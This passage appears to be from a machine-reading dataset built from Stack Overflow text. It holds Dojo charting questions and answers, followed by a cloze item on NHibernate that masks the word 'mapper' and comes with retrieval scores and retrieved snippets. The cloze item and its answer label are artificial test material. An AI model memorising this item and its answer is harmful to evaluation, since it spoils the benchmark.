axis-label-shortening", "Question : null .. . Answer : I am looking to create a line chart which will plot an array of data which has a corresponding x value date time and y value associated with it . The chart can have any number of series different lines on the same graph . You can think of this as like how yahoo google graph a particular stock and if you want to compare different companies stock prices on the same chart . The problem I am facing is that the data I am given might not be given in regular intervals e.g . series 1 might give an array of plots that occur every 15 mins series2 might be 10 mins etc . Also the data might not have the same start end time e.g . series 1 starts at 8 : 40 am series 2 starts at 8 : 42 am . There can also be holes in the data where no data was gathered want to display this as nothing in the chart .. . .. . I have thought about some potential ways to solve this problem .. . .. . 1 . Put everything on a 1 minute interval the smallest possible interval and place null values for everything we do not have data for . I need to have null values because there are datatips on the graph when you hover over a point to tell you what the value is at that point . The problem with this is that this will cause the graph to become a point graph rather than a line graph and will look ugly . I can tell dojo to interpret the data between null values but I also want to have explicit null values e.g . when the market is not open leave the space as nothing rather than connecting the lines .. . 2 . Round the data to the closest interval . The problem with this is the data is no longer accurate for that particular moment which is a problem . 3 . Don t allow them to be plotted together not an option . 4 . Use a different charting library last resort .. . .. . I am using the dojox charting library and I cannot change the back end code that gives me the data . What are my options", "Question : While creating a dynamic stacked Line chart in Dojo i use Chart object s addSeries method with response JSON array . here for a while i am using two static data arrays . When addSeries method invocations the charts get created with their commulative sum . That is not actual data of the graph . Here whats wrong with the addSeries method not ploting the actual data . hare the data array is : .. . .. . and the addSeries method is as : .. . .. . the alert result is here it is correct . enter image description here http : i.stack.imgur.com bvXx2.png enter image description here http : i.stack.imgur.com nPWpL.png Graph image is as : enter image description here http : i.stack.imgur.com 06noP.png .. . .. . Here the second line with Blue Legend is not showing the actual data passed in the Array showing commulative sum . whereas alert message showing the correct data . here what modification in the addSeries method is required to obtain the correct data line . Thanks in ADVANCE . .. . Answer : That s how the dojo StackLine plot is designed . It is accumulating the data of the previous series to display them . If you want a different behavior i.e . no accumulation of values I guess you can just use a regular Line plot Comment : yes Lines shows the accurate data not commulative . Comment : Thanks once again. .", "Question : Question : How can I build an X axis for a dojo chart from a Date column I m trying to create a custom addAxis function for the x axis of a Dojo multiseries line chart . Incoming JSON data is stored in an Observable Memory dstore retrieved via xhr from a PHP script and looks like : .. . .. . That Date field is a Unix epochal timestamp via MySQL s UNIX TIMESTAMP on a Date column . It doesn t have to be but I ve tried a lot of recipes and that s the latest one . My custom function looks like : .. . .. . The data object is good as far as addSeries is concerned : addSeries can plot all 4 pressures correctly . That s the hard part . Usually . Dojo charts accept dstore store and DataTable objects and probably other data types as well but the API Reference aka brief overview tutorial in any other project only provides limited recipes for those objects and examples of useless hard-coded arrays . The data objects aren t really documented either I don t have time to read the source and figure out a hack and besides there appear to be many obsolete iterations of data objects . It s easy to get lost and that s exactly where I am . That dates.get n .Date throws an exception because Date is undefined . According to the most recent documentation for the version I m using that s a way to do it . Maybe . If this version of the Memory dstore object documentation isn t in error . Question : How can I build an X axis for a dojo chart from a Date column I can make the data look like anything but the X axis needs to reflect that Date value and every other field in the row is a Y axis value for that Date . .. . Answer : The trick it seems is to add an id column to the JSON MySQL output and also set that id field as the Memory object id via idProperty in the Memory constructor as in this example : .. . .. . in the PHP code : .. . .. . Now your JSON looks like : .. . .. . The JavaScript to grab this data looks like : .. . .. . Everything clicked into place once I set the idProperty in the Memory constructor . This answer also explains how you add an X axis using ISO dates from a database .", "Question : Hi I want to change the colors of series in Spider Chart for Dojo Library Currently I dont know from where the default colors for the chart is coming . .. . Answer : The colors are coming from the chart theme . You can set a different theme on the chart doing something like the following : .. . .. . You can find predefined themes in the themes folder . If you want to create your own we your own theme to with let s say blue white and red colors you can do as follows :", "Question : null .. . Answer : i have a dojo columns chart . Data is pulled from a rest service . Y values come as doubles and X values come as integers . The problem is that dojo displays both values as doubles and i need both values to be displayed as integers . For example if the X value is 1 dojo shows 1.0 . function loadHist objectId .. . .ajax .. . url : aquur rest getData + objectId .. . .done function data .. . .. . .. . sample-data : .. . .. . data 0 0 0 1 0 0 1 4 3 1 0 0 0 .. . data 1 .. . Object value 1 text 1.0 Object value 2 text 2.0 Object value 3 text 3.0 Object value 4 text 4.0 Object value 5 text 5.0 Object value 6 text 6.0 Object value 7 text 7.0 Object value 8 text 8.0 Object value 9 text 9.0 Object value 10 text 10.0 Object value 11 text 11.0 Object value 12 text 12.0 .. . .. . .. . require dojox charting Chart2D dojox charting themes MiamiNice dojox charting plot2d Columns function Chart2D MiamiNice Columns .. . .. . dojo.empty histogram .. . .. . var chart new Chart2D histogram .. . .. . var origCreateLabel Columns.prototype.createLabel .. . .. . Columns.prototype.createLabel function group value bbox theme .. . if isNaN value .. . origCreateLabel.apply this arguments .. . else if value 0 .. . origCreateLabel.apply this arguments .. . .. . .. . .. . .. . chart.setTheme MiamiNice .. . .. . chart.addPlot default .. . type : Columns .. . markers : true .. . labels : true .. . labelStyle : outside .. . gap : 5 .. . .. . .. . .. . .. . chart.addAxis x labels : .. . value : 0 text : 6 .. . value : 1 text : 4 .. . value : 2 text : 5 .. . value : 3 text : 8 .. . value : 4 text : 6.5 .. . value : 5 text : 7 .. . value : 6 text : 9 .. . value : 7 text : 10 x .. . .. . .. . chart.addAxis x .. . labels : data 1 .. . title : snakes .. . titleOrientation : away .. . .. . .. . .. . chart.addAxis y .. . title : apples .. . vertical : true .. . fixLower : major .. . fixUpper : major .. . min : 0 .. . max : 100 .. . .. . chart.addSeries Data data 0 .. . chart.render .. . .. . .. . .. . .. . .. . div id histogram style width : 800px height : 400px .. . .. . Thank you Comment : Can you provide an extra of data as well as the full chart creation the new Chart the addPlot if any .. . Best would be to use the snippets function of stackoverflow to create a working sample of your problem Comment : @ben i ve updated the question with the snippet . thanks for your help", "Question : I have created Google map widget in Dojo using declare which has the method createMarker . The map is shown using .. . .. . The map is getting displayed . 1 How to call qWidget.createMarker from another widget .. . Answer : It depends on what the hierarchy is with your widgets . If one of the widgets is a child of the other one being used in the template of the other one for example you can use the name referenced in the data-dojo-attach-point variable to get your child widget instance and call the methods on it . So assuming the template of the parent widget is the HTML markup you posted in your question : .. . .. . It means you can access the testjs bpl GoogleMapWidget by using this.qWidget . However you have to inherit from dijit WidgetsInTemplateMixin to do that otherwise attach points will only work for DOM nodes . So your parent widget may look like this : .. . .. . .. . .. . If both widgets are independant no parent widget that controls them then the best way of calling another widget is by using the dojo topic module . For example : .. . .. . And the other widget could then listen to it : .. . .. . This last approach is great for completely unrelated widgets to communicate with each other through the publisher subscriber pattern also known as the observer observable pattern .", "Question : I am using Dojo Charts to create some line graphs and this is how the chart looks .. . .. . this id chartData : 0 0 0 0 65 223 .. . .. . enter image description here http : i.stack.imgur.com EVnXO.jpg .. . .. . And when I create the graph using Chart.js this is how it is rendered .. . .. . enter image description here http : i.stack.imgur.com 4KIhg.jpg .. . .. . Ignore the x-axis and other things If we look at the y-axis the values are rounded in chart.js looks much nicer when compared to dojo charts . Is there an option to achieve the same in dojo charts .. . Answer : Try adjusting majorTickStep or optionally also set minorTickMarks to true and adjust minorTickStep as well . See http : dojotoolkit.org reference-guide 1.10 dojox charting.html enabling-and-disabling-tick-marks and Axis Stepping two sections later . Comment : yes tried that so there is no option in dojo which handles this itself right", "Question : I d like to implement a context menu over some of plot elements in a Dojo Chart . Unfortunately out of the box Dojo Chart supports only three events : click mouseover and mouseout . I am not sure whether it is a limitation of dojox.gfx module or the dojox.charing . I can handle a right-click event on the container DOM node and then work my way down the chart but that does not feel the right Dojo way . Is there an action or a patch to support right-click events on the Dojo Charts .. . Answer : If you use d3 for charting you can use Dojo widget to add context menu to your d3 chart elements . and it will work fine .", "Question : I am generating a lots of charts using dojocharts.Here one is major issues in dojo that is browser compatibility issues . But the charts not appearing in Mozilla and IE browser it only shows in chrome.Some dojo functionality also not works.In my charts i am adding dojo indicators.If i adding indicators then the charts not display and if i remove indicator then the charts shows.But i want the charts will show both indicators and X Y axis . I am searching from Google SO and also dojo forums but not found proper solution to fix my problems.So suggest me how can solve my problem for browser compatibility . Here is my code Comment : It s just a wild guess but i know that dojo datagrids need to set the style property width and height to be shown . Maybe it s the same Problem here Comment : @sunman Please specify the Dojo Version Browser version Mozilla IE you are working testing for . Comment : @frank Dojo Version - 1.9 and Mozilla and IE browser is latest .. . Answer : Try adding this to your HTML header : .. . .. . IE is a piece of junk..Given me nothing but trouble over the years.. .", "Question : I am working with Dojo 1.9.3 and want to have a pie-chart fill the space of it s container . The following jsfiddle shows the chart sized very small due to the label offset . Does anyone know how to keep the label offset e.g . outside the pie-chart and size the chart more appropriately . http : jsfiddle.net a7JLR 89 Comment : I found the same and really need a proper fix for it .. . Answer : html code .. . .. . You can try this code . And adjust your radius labelOffset labelStyle parameter . Hope it will works fine . Comment : This is helpful especially the labelStyle but I really need the container size to remain what it is in the fiddle .", "Question : I have created a dojo spider chart with the default-parameters . I need to hide the axis-labels data values on the ticks not talking about the axis title . I have tried the ticks : false however it doesn t work with spider chart . require dojo base kernel dojo dom dojo dom-construct dojo ready dojox charting Chart .. . dojox charting plot2d Spider dojo fx easing .. . .. . function kernel dom domConstruct ready Chart Spider easing .. . var chart1 .. . ready function .. . chart1 new Chart test1 .. . chart1.addPlot default .. . type : Spider .. . labelOffset : -10 .. . divisions : 7 .. . axisColor : lightgray .. . spiderColor : silver .. . seriesFillAlpha : 0.2 .. . spiderOrigin : 0.16 .. . markerSize : 3 .. . precision : 0 .. . spiderType : polygon .. . .. . chart1.addSeries China .. . data : .. . GDP : 2 .. . area : 6 .. . population : 2000 .. . inflation : 15 .. . growth : 12 .. . .. . .. . fill : blue .. . .. . chart1.addSeries France .. . data : .. . GDP : 6 .. . area : 15 .. . population : 500 .. . inflation : 5 .. . growth : 6 .. . .. . .. . fill : red .. . .. . chart1.addSeries USA .. . data : .. . GDP : 3 .. . area : 20 .. . population : 1500 .. . inflation : 10 .. . growth : 3 .. . .. . .. . fill : green .. . .. . chart1.addSeries Japan .. . data : .. . GDP : 4 .. . area : 2 .. . population : 1000 .. . inflation : 20 .. . growth : 2 .. . .. . .. . fill : yellow .. . .. . chart1.addSeries Korean .. . data : .. . GDP : 10 .. . area : 10 .. . population : 800 .. . inflation : 2 .. . growth : 18 .. . .. . .. . fill : orange .. . .. . chart1.addSeries Canada .. . data : .. . GDP : 1 .. . area : 18 .. . population : 300 .. . inflation : 3 .. . growth : 15 .. . .. . .. . fill : purple .. . .. . chart1.render .. . .. . .. . .. . .. . script src http : demos.dojotoolkit.org dojo dojo.js data-dojo-config isDebug : true script .. . body .. . h1 Spider Chart h1 .. . div id test1 style width : 500px height : 500px div .. . body .. . .. . Thank you in advance .. . Answer : Well It seems like you just want to hide html labels correct me if I am wrong . I have updated the running sample . require dojo base kernel dojo dom dojo dom-construct dojo ready dojox charting Chart .. . dojox charting plot2d Spider dojo fx easing .. . .. . function kernel dom domConstruct ready Chart Spider easing .. . var chart1 .. . ready function .. . chart1 new Chart test1 .. . chart1.addPlot default .. . type : Spider .. . labelOffset : -10 .. . divisions : 7 .. . axisColor : lightgray .. . spiderColor : silver .. . seriesFillAlpha : 0.2 .. . spiderOrigin : 0.16 .. . markerSize : 3 .. . precision : 0 .. . spiderType : polygon .. . htmlLabels : false hide html labels .. . .. . chart1.addSeries China .. . data : .. . GDP : 2 .. . area : 6 .. . population : 2000 .. . inflation : 15 .. . growth : 12 .. . .. . .. . fill : blue .. . .. . chart1.addSeries France .. . data : .. . GDP : 6 .. . area : 15 .. . population : 500 .. . inflation : 5 .. . growth : 6 .. . .. . .. . fill : red .. . .. . chart1.addSeries USA .. . data : .. . GDP : 3 .. . area : 20 .. . population : 1500 .. . inflation : 10 .. . growth : 3 .. . .. . .. . fill : green .. . .. . chart1.addSeries Japan .. . data : .. . GDP : 4 .. . area : 2 .. . population : 1000 .. . inflation : 20 .. . growth : 2 .. . .. . .. . fill : yellow .. . .. . chart1.addSeries Korean .. . data : .. . GDP : 10 .. . area : 10 .. . population : 800 .. . inflation : 2 .. . growth : 18 .. . .. . .. . fill : orange .. . .. . chart1.addSeries Canada .. . data : .. . GDP : 1 .. . area : 18 .. . population : 300 .. . inflation : 3 .. . growth : 15 .. . .. . .. . fill : purple .. . .. . chart1.render .. . .. . .. . .. . .. . script src http : demos.dojotoolkit.org dojo dojo.js data-dojo-config isDebug : true script .. . body .. . h1 Spider Chart h1 .. . div id test1 style width : 500px height : 500px div .. . body .. . .. . Hoping this will help you : Comment : Yes found the solution earlier . htmlLabels : false is the chart property to handle this . Thanks for the help . Comment : Glad to help :" ] }
[ "yes-answer-long", "yes-answer-short" ]
javascript
UNK_RELATION
nhibernate@mapper@68
nhibernate -- nhibernate is a mature open-source object-relational @placeholder orm for the .net framework .
{ "confidence": [ 48.274681091308594, 42.47693634033203, 40.459930419921875, 40.09298324584961, 40.00472640991211, 39.148250579833984, 38.816558837890625, 38.361907958984375, 37.7677001953125, 37.71936798095703, 37.58099365234375, 37.53583526611328, 37.53583526611328, 36.981605529785156, 36.228851318359375, 35.94209289550781, 35.91475296020508, 35.86684799194336, 35.824119567871094, 35.824119567871094, 35.824119567871094, 35.687416076660156, 35.4794807434082, 35.357635498046875, 35.34782409667969, 35.34782409667969, 35.29502868652344, 35.270233154296875, 35.098209381103516, 35.098209381103516, 34.9481315612793, 34.62460708618164, 34.46311569213867, 34.46311569213867, 34.307064056396484, 34.2662467956543, 34.2662467956543, 34.2662467956543, 34.22136688232422, 34.22136688232422, 33.79331970214844, 33.75864791870117, 33.684776306152344, 33.54978942871094, 33.54978942871094, 33.32273864746094, 33.20380783081055, 33.20380783081055, 33.1465950012207, 33.145912170410156, 33.086082458496094, 33.086082458496094, 33.03681945800781, 33.01385498046875, 32.990482330322266, 32.98299789428711, 32.972259521484375, 32.86748504638672, 32.86748504638672, 32.862491607666016, 32.707611083984375, 32.59502410888672, 32.55818176269531, 32.55818176269531, 32.512718200683594, 32.512718200683594, 32.512718200683594, 32.50965118408203, 32.47822189331055, 32.394989013671875, 32.35728454589844, 32.332401275634766, 32.332401275634766, 32.32874298095703, 32.300445556640625, 32.24835205078125, 32.239559173583984, 32.207237243652344, 32.177452087402344, 32.13291931152344, 32.10577392578125, 32.10577392578125, 32.10577392578125, 32.06245803833008, 31.8866024017334, 31.867088317871094, 31.867088317871094, 31.867088317871094, 31.867088317871094, 31.867088317871094, 31.867088317871094, 31.85757827758789, 31.819618225097656, 31.804887771606445, 31.723690032958984, 31.723690032958984, 31.711658477783203 ], "content": [ "They have to solve problems like this in mature ORM framework like NHibernate .", "We are using NHibernate as our ORM framework .", "NHibernate is a full-blown Object Relational Mapper .", "The project is using NHibernate as an ORM .", "I m developing a website using Asp .Net MVC and NHibernate as ORM tool .", "NHibernate is an ORM it maps tables to objects .", "The point is that you are trying to use NHibernate which is the ORM .", "FYI NHibernate Envers is now a pretty mature library .", "We ve a mature nHibernate project that has started using the linq provider in nHibernate contrib .", "NHibernate is a DAL framework .", "my orm impl is fluent-nhibernate .", "NHibernate is ORM tool and will can care about relations .", "This is the whole point of using an ORM like NHibernate .", "at System.Data.SqlClient.SqlParameterCollection.RangeCheck Int32 index at System.Data.SqlClient.SqlParameterCollection.GetParameter Int32 index at System.Data.Common.DbParameterCollection.System.Collections.IList.get Item Int32 index s : NHibernate NHibernate src NHibernate Type DateTimeType.cs 65 0 : at NHibernate.Type.DateTimeType.Set IDbCommand st Object value Int32 index s : NHibernate NHibernate src NHibernate Type NullableType.cs 180 0 : at NHibernate.Type.NullableType.NullSafeSet IDbCommand cmd Object value Int32 index s : NHibernate NHibernate src NHibernate Type NullableType.cs 139 0 : at NHibernate.Type.NullableType.NullSafeSet IDbCommand st Object value Int32 index ISessionImplementor session s : NHibernate NHibernate src NHibernate Type ComponentType.cs 213 0 : at NHibernate.Type.ComponentType.NullSafeSet IDbCommand st Object value Int32 begin ISessionImplementor session s : NHibernate NHibernate src NHibernate Persister Entity AbstractEntityPersister.cs 2393 0 : at NHibernate.Persister.Entity.AbstractEntityPersister.Dehydrate Object id Object fields Object rowId Boolean includeProperty Boolean includeColumns Int32 table IDbCommand statement ISessionImplementor session Int32 index s : NHibernate NHibernate src NHibernate Persister Entity AbstractEntityPersister.cs 2754 0 : at NHibernate.Persister.Entity.AbstractEntityPersister.Update Object id Object fields Object oldFields Object rowId Boolean includeProperty Int32 j Object oldVersion Object obj SqlCommandInfo sql ISessionImplementor session s : NHibernate NHibernate src NHibernate Persister Entity AbstractEntityPersister.cs 2666 0 : at NHibernate.Persister.Entity.AbstractEntityPersister.UpdateOrInsert Object id Object fields Object oldFields Object rowId Boolean includeProperty Int32 j Object oldVersion Object obj SqlCommandInfo sql ISessionImplementor session s : NHibernate NHibernate src NHibernate Persister Entity AbstractEntityPersister.cs 2940 0 : at NHibernate.Persister.Entity.AbstractEntityPersister.Update Object id Object fields Int32 dirtyFields Boolean hasDirtyCollection Object oldFields Object oldVersion Object obj Object rowId ISessionImplementor session s : NHibernate NHibernate src NHibernate Action EntityUpdateAction.cs 78 0 : at NHibernate.Action.EntityUpdateAction.Execute s : NHibernate NHibernate src NHibernate Engine ActionQueue.cs 130 0 : at NHibernate.Engine.ActionQueue.Execute IExecutable executable s : NHibernate NHibernate src NHibernate Engine ActionQueue.cs 113 0 : at NHibernate.Engine.ActionQueue.ExecuteActions IList list s : NHibernate NHibernate src NHibernate Engine ActionQueue.cs 147 0 : at NHibernate.Engine.ActionQueue.ExecuteActions s : NHibernate NHibernate src NHibernate Event Default AbstractFlushingEventListener.cs 241 0 : at NHibernate.Event.Default.AbstractFlushingEventListener.PerformExecutions IEventSource session s : NHibernate NHibernate src NHibernate Event Default DefaultFlushEventListener.cs 19 0 : at NHibernate.Event.Default.DefaultFlushEventListener.OnFlush FlushEvent event s : NHibernate NHibernate src NHibernate Impl SessionImpl.cs 1478 0 : at NHibernate.Impl.SessionImpl.Flush s : NHibernate NHibernate src NHibernate Transaction AdoTransaction.cs 187 0 : at NHibernate.Transaction.AdoTransaction.Commit at lambda method ExecutionScope ITransaction .. . .. . Now the interesting thing is if I comment out the reference to Company or PrimaryListing in the SecurityMap I don t get the error .", "I m using NHibernate 3.1 NHibernate Validator 1.3 and Fluent NHibernate 1.2.0.712", "C .NET 4 NHibernate 3.0", "I ve been investigating NHibernate Telerik s OpenAccess ORM and the Entity Framework .", "You could start from NHibernate s source https : github.com nhibernate nhibernate-core tree master src NHibernate Persister .", "Also I m a huge fan of NHibernate as a ORM .", "I am using Fluent NHibernate for my ORM .", "I m working on a project which uses NHibernate as an ORM .", "NHibernate Validator sits on top of NHibernate .", "I looked at the doc Nhibernate Persistence http : docs.particular.net nservicebus relational-persistence-using-nhibernate which states to use app.config .", "In fact I switched from ADO.NET Entity Framework to Nhibernate with Fluent NHibernate .", "Is it possible to validate domain-model with Nhibernate validation framework.. .", "This lead me to check Codesmith s framework PLINQO for NHibernate .", "@Vish : Because TestNHibernateMappings presumably relies on NHibernate and or Fluent NHibernate which rely on components of the .NET Framework that are not in the .NET Framework Client Profile .", "This is NHibernate .", "The problem was with the version of NHibernate Fluent-NHibernate users .", "This is easy with NHibernate 3 not sure about NHibernate 2 .", "NHibernate is setup to use NHibernate Search configuration goes through Fluent NHibernate .", "But this is NHibernate", "I m using NHibernate 3.1 and NHibernate validator 1.3", "I have nhibernate-envers 1.30 and nhibernate 3.3.1 .", "This application uses NHibernate as an ORM against the database .", "So it seems that nhibernate 4.0.0.4000 is not compatible with .Net 3.5 Framework .", "If so which max version of nhibernate can be used with .Net 3.5 Framework", "Also please confirm the min .Net framework required for using nhibernate 4.0.0.4000 .", "I am using postgres postgis as db and Nhibernate as ORM on a C project .", "New to NHibernate and learning it as we are modifying an existing solution to use this ORM .", "Check the class Expression https : github.com nhibernate nhibernate-core blob master src NHibernate Criterion Expression.cs .. . .. . But this is a code snippet from Expression class https : github.com nhibernate nhibernate-core blob master src NHibernate Criterion Expression.cs source :", "Source : https : groups.google.com forum searchin fluent-nhibernate enum fluent-nhibernate bBXlDRvphDw AFnYs9ei7O0J", "Edit .. . .. . For the record I am a big supporter of nHibernate and open-source in general .", "In order to avoid the change of the database definition we are trying to solve this in the nHibernate ORM .", "The major difference is that LLBLGen is a code generator while NHibernate is a true ORM library .", "Looks like the NHibernate Search is moved to GitHub.com https : github.com NHibernate-Contrib NHibernate-Search and darioquintana is one of the member contributing https : github.com NHibernate-Contrib NHibernate-Search commits master and it s active https : github.com NHibernate-Contrib NHibernate-Search commits master .", "NHibernate in Action", "NHibernate filters .", "Instead NHibernate is telling you to deal with this relationship in the object-oriented manner that NHibernate allows you to use .", "It also handled the NHibernate ISession as well as configuration for NHibernate .", "NHibernate required this .", "Enjoy NHibernate", "It is defined on NHibernate.Linq.SqlMethods https : github.com nhibernate nhibernate-core blob master src NHibernate Linq SqlMethods.cs extension class .", "We can say that today NHibernate is the leader among all .NET ORMs but can we expect Entity Framework 4 to displace NHibernate from this position .", "No there are some problems mixing NHibernate and Sync Framework .", "We have upgraded to NHibernate 3.0 with Fluent-NHibernate .", "The IdentityEqualityCompairer https : github.com nhibernate nhibernate-core blob master src NHibernate IdentityEqualityComparer.cs in the NHibernate framework appears to have the SerializableAttribute annotation .", "Embedded with NHibernate 3.2 in .NET 4.0 project .", "I m using .Net v3.51 and NHibernate v2.1 .", "Things like The NHibernate Profiler the Nhibernate Query Analyzer NHibernate Contrib Fluent NHibernate to name a few .", "The strength of NHibernate is using a POCO object .", "It supports generation of data-access layers that use NHibernate as their persistence framework .", "Enjoy NHibernate", "Is that a feature of NHibernate", "The final SQL generated by NHibernate I used NHibernate 2.1.2.4000 looks like this.. .", "I am looking for nhibernate syscache that is compatible with nhibernate 3.0 GA .", "Am I doing something wrong or is this a bug in NHibernate or Fluent Nhibernate", "I am working on a ASP.NET MVC website using Nhibernate as my ORM .", "Source : groups.google.com forum searchin fluent-nhibernate enum https : groups.google.com forum searchin fluent-nhibernate enum fluent-nhibernate bBXlDRvphDw AFnYs9ei7O0J", "I am using Fluent Nhibernate and Nhibernate for my current project .", "Is it possible to validate domain-model with Nhibernate validation framework in PreTranctionCommint event", "PS : - This is my first experiment with NHibernate and so with Fluent NHibernate .", "Using Sharp Architecture 2.0 Fluent NHibernate 1.2 and NHibernate 3.1 .", "Enjoy the NHibernate.. . amazing tool", "What is the difference between nhibernate and entity-framework in batching", "I m using NHibernate 3.0 Visual Studio 2005 and .NET 2.0.x .", "What you are proposing here is entirely possible and allowable within the nHibernate framework .", "The NHibernate mapping of this object matches the Fluent mapping identically .", "@Nick : You could recompile NHibernate for .NET 4.0 .", "NHibernate also seems to be the most used ORM for .NET so it s a safe bet in that sense .", "I m using NHibernate Search for NHibernate 3.0 GA .", "That should be enough for considering NHibernate Fluent NHibernate .", "The NHibernate Session is lost and a NHibernate Exception is thrown .", "Much of the NHibernate framework and Microsoft ADO.NET Entity Framework are similar .", "Enjoy NHibernate :", "I am new to using Fluent NHibernate and NHibernate for the first time .", "I read about nhibernate search that combines lucene.net and nhibernate to do searching .", "I have a asp.net web application that is using Linq to NHibernate in NHibernate 3.0 .", "hbm.xml file is used in NHibernate for mapping but Fluent NHibernate replaces it in C code .", "Fluent NHibernate is awesome I wouldn t use NHibernate without it .", "Will NHibernate 2 and or Fluent Nhibernate work in a medium trust environment .", "Before upgrading to NHibernate 3.2 I used the following code for Fluent NHibernate : .. . .. . However the .Cache extension method is no longer found in NHibernate 3.2 .", "In any case this is not something that should be done through an ORM not just NHibernate .", "NHibernate semantics : .. . .. . 1 .", "Is it a bug in NHibernate", "They are in the NHibernate download .", "I have been trying to add Nhibernate framework but it does not allow me ." ] }
{ "confidence": [ 51.89996337890625, 49.439186096191406, 49.439186096191406, 48.912803649902344, 48.912803649902344, 48.912803649902344, 48.41374206542969, 47.97932434082031, 47.78248977661133, 47.773834228515625, 47.67743682861328, 47.44005584716797, 47.206077575683594, 46.909271240234375, 46.41002655029297, 45.950340270996094, 45.846107482910156, 45.594024658203125, 45.41472625732422, 45.18260955810547 ], "content": [ "Question : My company is looking to use an ORM for new development in .Net . We are currently looking at nHibernate because of its popularity however LLBLGen is another option that we may consider . Cost is not a primary factor . We need a solution that provides good separation of the domain-model from the database a good caching strategy development productivity i.e . if I can edit it in a GUI instead of config files great good customer support . I know that nHibernate is very popular but I also know that the price it s free may be part of that reason for open-source types . Since cost isn t a primary factor unless the price is 10 000 which would you choose given our circumstances Also what other factors other than ones that I ve listed would you consider most important in choosing an ORM Resolution .. . .. . We finally decided upon NHibernate as a solution however in hindsight I think I would have gone with LL if we had it to do over again . I m just not found of the xml mapping files . The code generators that I found for NHibernate left a lot to be desired . I do find Fluent NHibernate to be an interesting development but I d rather wait for it to mature first before using it . As it turned out the most important part of my learning process turned out not to be the technologies but two design-patterns : the repository and separated interface patterns . By defining a repository interface for data-access Jeffrey Palermo has a number of blog posts on this and both the Apress and Wrox MVC books show this as well we can use LinqtoSQL LLBLGen NHibernate etc . and swap out the DAL implementation later if we switch . So while one of my co-workers is using NHibernate on his app I chose to use LinqToSQL on my most recent app and it worked just fine . .. . Answer : I suggest you look at the various similar questions first e.g : http : stackoverflow.com questions 380620 what-object-mapper-solution-would-you-recommend-for-net", "Question : My company is looking to use an ORM for new development in .Net . We are currently looking at nHibernate because of its popularity however LLBLGen is another option that we may consider . Cost is not a primary factor . We need a solution that provides good separation of the domain-model from the database a good caching strategy development productivity i.e . if I can edit it in a GUI instead of config files great good customer support . I know that nHibernate is very popular but I also know that the price it s free may be part of that reason for open-source types . Since cost isn t a primary factor unless the price is 10 000 which would you choose given our circumstances Also what other factors other than ones that I ve listed would you consider most important in choosing an ORM Resolution .. . .. . We finally decided upon NHibernate as a solution however in hindsight I think I would have gone with LL if we had it to do over again . I m just not found of the xml mapping files . The code generators that I found for NHibernate left a lot to be desired . I do find Fluent NHibernate to be an interesting development but I d rather wait for it to mature first before using it . As it turned out the most important part of my learning process turned out not to be the technologies but two design-patterns : the repository and separated interface patterns . By defining a repository interface for data-access Jeffrey Palermo has a number of blog posts on this and both the Apress and Wrox MVC books show this as well we can use LinqtoSQL LLBLGen NHibernate etc . and swap out the DAL implementation later if we switch . So while one of my co-workers is using NHibernate on his app I chose to use LinqToSQL on my most recent app and it worked just fine . .. . Answer : We use nHibernate a lot . so far so good .", "Question : My company is looking to use an ORM for new development in .Net . We are currently looking at nHibernate because of its popularity however LLBLGen is another option that we may consider . Cost is not a primary factor . We need a solution that provides good separation of the domain-model from the database a good caching strategy development productivity i.e . if I can edit it in a GUI instead of config files great good customer support . I know that nHibernate is very popular but I also know that the price it s free may be part of that reason for open-source types . Since cost isn t a primary factor unless the price is 10 000 which would you choose given our circumstances Also what other factors other than ones that I ve listed would you consider most important in choosing an ORM Resolution .. . .. . We finally decided upon NHibernate as a solution however in hindsight I think I would have gone with LL if we had it to do over again . I m just not found of the xml mapping files . The code generators that I found for NHibernate left a lot to be desired . I do find Fluent NHibernate to be an interesting development but I d rather wait for it to mature first before using it . As it turned out the most important part of my learning process turned out not to be the technologies but two design-patterns : the repository and separated interface patterns . By defining a repository interface for data-access Jeffrey Palermo has a number of blog posts on this and both the Apress and Wrox MVC books show this as well we can use LinqtoSQL LLBLGen NHibernate etc . and swap out the DAL implementation later if we switch . So while one of my co-workers is using NHibernate on his app I chose to use LinqToSQL on my most recent app and it worked just fine . .. . Answer : For small projects I used Sooda http : sourceforge.net projects sooda but that was about year ago . Now only and definitely NHibernate http : nhforge.org .", "Question : My company is looking to use an ORM for new development in .Net . We are currently looking at nHibernate because of its popularity however LLBLGen is another option that we may consider . Cost is not a primary factor . We need a solution that provides good separation of the domain-model from the database a good caching strategy development productivity i.e . if I can edit it in a GUI instead of config files great good customer support . I know that nHibernate is very popular but I also know that the price it s free may be part of that reason for open-source types . Since cost isn t a primary factor unless the price is 10 000 which would you choose given our circumstances Also what other factors other than ones that I ve listed would you consider most important in choosing an ORM Resolution .. . .. . We finally decided upon NHibernate as a solution however in hindsight I think I would have gone with LL if we had it to do over again . I m just not found of the xml mapping files . The code generators that I found for NHibernate left a lot to be desired . I do find Fluent NHibernate to be an interesting development but I d rather wait for it to mature first before using it . As it turned out the most important part of my learning process turned out not to be the technologies but two design-patterns : the repository and separated interface patterns . By defining a repository interface for data-access Jeffrey Palermo has a number of blog posts on this and both the Apress and Wrox MVC books show this as well we can use LinqtoSQL LLBLGen NHibernate etc . and swap out the DAL implementation later if we switch . So while one of my co-workers is using NHibernate on his app I chose to use LinqToSQL on my most recent app and it worked just fine . .. . Answer : Check out DataObjects.Net http : wiki.dataobjects.net GPL + commercial . Comment : Also be sure to check out the many discussions highlighting how the above posted link conducts themselves . Blogs are your friend .", "Question : My company is looking to use an ORM for new development in .Net . We are currently looking at nHibernate because of its popularity however LLBLGen is another option that we may consider . Cost is not a primary factor . We need a solution that provides good separation of the domain-model from the database a good caching strategy development productivity i.e . if I can edit it in a GUI instead of config files great good customer support . I know that nHibernate is very popular but I also know that the price it s free may be part of that reason for open-source types . Since cost isn t a primary factor unless the price is 10 000 which would you choose given our circumstances Also what other factors other than ones that I ve listed would you consider most important in choosing an ORM Resolution .. . .. . We finally decided upon NHibernate as a solution however in hindsight I think I would have gone with LL if we had it to do over again . I m just not found of the xml mapping files . The code generators that I found for NHibernate left a lot to be desired . I do find Fluent NHibernate to be an interesting development but I d rather wait for it to mature first before using it . As it turned out the most important part of my learning process turned out not to be the technologies but two design-patterns : the repository and separated interface patterns . By defining a repository interface for data-access Jeffrey Palermo has a number of blog posts on this and both the Apress and Wrox MVC books show this as well we can use LinqtoSQL LLBLGen NHibernate etc . and swap out the DAL implementation later if we switch . So while one of my co-workers is using NHibernate on his app I chose to use LinqToSQL on my most recent app and it worked just fine . .. . Answer : Another vote for LLBLGEN couldn t live without it", "Question : My company is looking to use an ORM for new development in .Net . We are currently looking at nHibernate because of its popularity however LLBLGen is another option that we may consider . 